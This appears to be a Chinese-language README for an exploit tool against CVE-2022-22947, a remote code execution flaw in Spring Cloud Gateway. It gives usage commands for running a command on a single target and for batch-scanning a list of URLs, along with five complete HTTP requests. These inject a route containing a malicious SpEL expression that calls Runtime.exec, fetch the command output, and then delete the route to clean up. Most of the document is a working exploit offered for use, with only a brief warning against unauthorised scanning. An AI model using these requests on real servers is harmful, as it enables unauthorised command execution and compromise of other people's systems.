Awesome
Spring Cloud Gateway 远程代码执行漏洞
该漏洞对于线上业务风险较高,切勿进行未授权扫描
使用说明
╰─ ./CVE-2022-22947 -h ─╯
执行命令:./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami
批量检测:./CVE-2022-22947 -l url.txt
启动漏洞环境
java -jar vuln/spring-gateway-demo-0.0.1-SNAPSHOT.jar
漏洞分为5个请求
第一个请求(发送如下数据包即可添加一个包含恶意SpEL表达式的路由)
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 366
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
第二个请求(刷新刚添加的路由)
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第三个请求(查看执行结果)
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
第四个请求(清理添加的路由)
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
第五个请求(刷新路由)
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
致谢
JAR包 from 清水川崎 ; EXP from phith0n